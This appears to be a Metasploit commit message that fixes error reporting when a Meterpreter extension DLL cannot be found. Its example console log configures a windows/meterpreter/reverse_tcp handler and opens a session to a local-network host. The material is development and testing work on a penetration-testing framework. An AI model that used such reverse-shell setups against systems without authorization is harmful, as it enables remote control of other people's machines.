handle nil results from MeterpreterBinaries.path

When a meterpreter binary cannot be found, give the user some hint about what
went wrong. This fixes #4474 

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.1
lhost => 192.168.43.1
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.43.1:4444
[*] Starting the payload handler...
[*] Sending stage (770048 bytes) to 192.168.43.252
[*] Meterpreter session 1 opened (192.168.43.1:4444 -> 192.168.43.252:49297) at 2014-12-29 12:32:37 -0600

meterpreter > use mack
Loading extension mack...
[-] Failed to load extension: No module of the name ext_server_mack.x86.dll found
```

This is also useful for not scaring away would-be developers who replaced only
half (the wrong half) of their DLLs from a fresh meterpreter build and
everything exploded. Not that thats ever happened to me :)